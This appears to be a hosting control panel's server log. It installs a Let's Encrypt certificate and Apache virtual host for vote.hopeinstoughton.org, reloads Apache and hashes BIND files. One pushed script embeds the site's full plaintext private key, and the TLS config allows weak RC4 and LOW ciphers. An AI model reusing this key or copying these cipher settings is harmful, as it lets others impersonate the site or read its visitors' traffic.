MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-15 19:12:09: Establishing a connection
2026-03-15 19:12:10: Establishing a connection
2026-03-15 19:12:10: 

PUT: /tmp/pkp569458

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_vote/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-15 19:12:10: 

chmod 755 /tmp/pkp569458; /tmp/pkp569458; rm /tmp/pkp569458

2026-03-15 19:12:10: 


0


2026-03-15 19:12:42: Establishing a connection
2026-03-15 19:12:42: 

PUT: /tmp/pkp369115

#!/bin/bash
temp_file=$(mktemp)
TARGET=277b862c622fb9fa5d441c9959ff5ee3.crt

cat > $temp_file <<'endmsg'
05:50:af:fa:28:95:9f:20:8b:71:d1:b5:7d:d0:1e:33

-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBkCJIzSdYFNQQt5PbW07cMW8MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzE1MTgxNDA5WhcNMjYwNjEzMTgxNDA4WjAjMSEwHwYDVQQD
Exh2b3RlLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCelwhZg9iB4/zivrOtYMgMsgMQEPp/nPjPqVQhTOtyBkKTLE/I
KhutBiiiRpSuXI4T3F5kdvtVBSFrCv09qkLRk+4Wql7HyOyqfCGgkVyh3v0sZ5h0
WqYuApnde8o2OjkVmt4evL8PQWkRHt6c6y9ZNb1HmH1YIVfdmMBBs/b5PicOoYbt
u5zAWh05jVH66255qojlsdpOPrUfQQ6abEVnkoZgGApv6RyXPeqejgUOQBFXvpwI
Jj7dcA+Y1xKK7YVW06GwvLk6BhwEHp+X/eI0kW1gJCk21w5g+SSPhcAWFU6OQLzq
3pCjRVe/BDNDF8E9LmCf+QaWy9Hu65L4gX7/AgMBAAGjggIlMIICITAOBgNVHQ8B
Af8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUw+rht/hRj+gEgto2ETw2DJKNoMAwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAjBgNVHREEHDAaghh2b3RlLmhvcGVpbnN0b3VnaHRv
bi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy82MS5jcmwwggELBgorBgEEAdZ5AgQCBIH8BIH5
APcAfgClyXiSXVdGF4KHDdiJZgtcVWSLfQBA8uwHaFHRiGkZ9wAAAZzy6i11AAgA
AAUANWGdKAQDAEcwRQIhAJMLPTjw//i5G/2mbMDvr+r9j1UMp1l6KIr2CvRlixfH
AiAfUqtpj6WBXX0Xp+2seLqDbFvn0G8GjxG0mbssiaUh6AB1AGQRxGykEuyniRyi
Ai4AvKtPKAfUHjUnq+r+1QPJfc3wAAABnPLqNTQAAAQDAEYwRAIgGL+EqlQDQda5
fC8SAtLNPZ5nU2QvYMJPOrYcnnI1lEYCIDL0nJinmsywP4VT9JReZjONhkSZ7u91
iW8kWGEV7/S5MA0GCSqGSIb3DQEBCwUAA4IBAQBqodfBfG970PFDTiTSAmyJ6STd
WQZLGRMCOb+q7/zz2sE/q/P20I2S7/JrcceWbkJhGeRZq2+f0VsM3cSgICvA5q85
QYeFULEJdGKpK6HFgsXvVdODAdqMy950gmCiPdQSiBCaMC6R0ZezRmleOjoee0PV
MYjE6Yvz1JpuFsM9D7vipQNa3IX7XGJ+qAwwSJ3UM7JbefulDaQ1RFjZShW71NkU
9szSKl6LBrJxLBeY4XAvGRqmU+LxfSj0X+VYTIpvhOpwfTT0Xk67KtiQ97ngkGxP
FI/oN1tw6WMEowK/pEGl7LmZNXUcqV8Ht1GAlc+aKnPR9i84O56wqaN+aNps
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCelwhZg9iB4/zi
vrOtYMgMsgMQEPp/nPjPqVQhTOtyBkKTLE/IKhutBiiiRpSuXI4T3F5kdvtVBSFr
Cv09qkLRk+4Wql7HyOyqfCGgkVyh3v0sZ5h0WqYuApnde8o2OjkVmt4evL8PQWkR
Ht6c6y9ZNb1HmH1YIVfdmMBBs/b5PicOoYbtu5zAWh05jVH66255qojlsdpOPrUf
QQ6abEVnkoZgGApv6RyXPeqejgUOQBFXvpwIJj7dcA+Y1xKK7YVW06GwvLk6BhwE
Hp+X/eI0kW1gJCk21w5g+SSPhcAWFU6OQLzq3pCjRVe/BDNDF8E9LmCf+QaWy9Hu
65L4gX7/AgMBAAECggEACE4Qed+VrvepfpZOAn5W+5M25dh9xcEKppVPeo70pXv+
cIaZhvntiRoRdq4LizX9mrynlMtGTiV+ooRozpnj9eWxSi6R2BSFkEf/2tDB8Rgk
Wfby3OUCXtZ0CE07Qau64Y7CowlvV/Us82CSd9U5HYra5qzto3fbihc9ujMac+Lg
PENWQK3Gvp/Mkq9xnxG/7xKLl2NNv6PgdXiEUm31L9tBSnfMfd65h6jxlY0aEW7V
3M/23DHXhxXKYrPV2Syau1AoNuD2od/R3DH1MMzPQ1jVoD8l2VYEoPj0eJSNjGiV
NaoVu1nrNTlFN+T9yeBidM3mskVCnZSe5LM3JlxPwQKBgQDPAIqSDdKu0KudtaM1
5hxd4MatNBR43GY+fxjjREDTL6YUO4FwHv7OlXuyKHxRJ7Vv9X2wdC7q1Gldqrwo
m//93S3+qnurSfVzd4hKvcG7Zy2vPVtaDBpk0T4xYsI9zDnOgiZUEVk8gzW6hxDE
JDLgPKetMaXDlm52A84a2s85PQKBgQDEIOs1BcztAuLFvrEZNWC+L630BAv9kfK2
YDu6VWcl/8wi8mGSIroDiQiK7FItvn4mx9xlAIUS6/xw2VogdZt8JLHnuJcrkBsf
ABHAp/W7YMa6eY1HEy0AKd5ZGjBBLCj0iqn4QfnMuuDi8ylQLMFZJ+JWU8YRQqjP
ljihxR8E6wKBgBFiekDJ6GfGHqOgHZTpPnij6Auj1BRSbkPRaMWtdcRGvCv202gX
Mk8nPrw3qjkmnJZKh8PJ/ia6sB6tuB+w+k7XxIUezEQWcgbAgzHDvgF/KNcO0B0/
5veQmyiKosWN4Uz2oUFuM5BhdKG1tjLC14L9lRd2k/VZLO28ZBLdTYoBAoGANeBh
HGCqiZUYXH/kwGsEV1pbq8OM06xLA0RuQ+KAAlVBa3wvx2gYty3mldsTPBOvLdIL
Pgelhqwi3ZEni/EitDiUUnZHuKTOfnaTadv5ye5syP7pC1Q+MWRO+yURimWqHnsU
8+iTyWSwsEdh2u9gcbBeIZ7DsywfmV7H0dCHk98CgYBQrVsds8X2C09PsocIKVel
6xtQ/H9WiY1zHW3vTiJHwcMtMU9UhqDcDOX5SsHGtpu4NbsCJuElRzzdGLtD/l2j
jxJaymizXRTBDhujM788RNWpelUK6nsQ3yGplN3DD4k+R/AYgnBqE58t4bZIjtX6
1qT5/kW8Qw3pXk2bcZfJSQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-15 19:12:42: 

chmod 755 /tmp/pkp369115; /tmp/pkp369115; rm /tmp/pkp369115

2026-03-15 19:12:42: 


dir=/etc/ssl/certs


2026-03-15 19:12:42: 

PUT: /tmp/pkp355481

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-15 19:12:42: 

chmod 755 /tmp/pkp355481; /tmp/pkp355481; rm /tmp/pkp355481

2026-03-15 19:12:42: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf 48

<VirtualHost *:80>
    ServerName	vote.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_vote/public
    <Directory /var/www/hopeinstoughton_vote>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/vote_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/vote_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	vote.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt
    DocumentRoot	/var/www/hopeinstoughton_vote/public
    <Directory /var/www/hopeinstoughton_vote>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
    CustomLog	/var/log/apache2/hopeinstoughton/vote_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/vote_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-03-15 19:12:42: 

PUT: /tmp/pkp111512

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_vote_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	vote.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_vote/public
    <Directory /var/www/hopeinstoughton_vote>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/vote_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/vote_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	vote.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt
    DocumentRoot	/var/www/hopeinstoughton_vote/public
    <Directory /var/www/hopeinstoughton_vote>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
    CustomLog	/var/log/apache2/hopeinstoughton/vote_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/vote_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf= 1'
fi


2026-03-15 19:12:42: 

chmod 755 /tmp/pkp111512; /tmp/pkp111512; rm /tmp/pkp111512

2026-03-15 19:12:42: 




2026-03-15 19:12:42: 

PUT: /tmp/pkp303749

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-15 19:12:42: 

chmod 755 /tmp/pkp303749; /tmp/pkp303749; rm /tmp/pkp303749

2026-03-15 19:12:42: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-15 19:12:42: Establishing a connection
2026-03-15 19:12:51: Establishing a connection
2026-03-15 19:12:51: 

PUT: /tmp/pkp943336

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-15 19:12:51: 

runuser -l bind -s /bin/bash -c '/tmp/pkp943336; rm /tmp/pkp943336'

2026-03-15 19:12:51: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
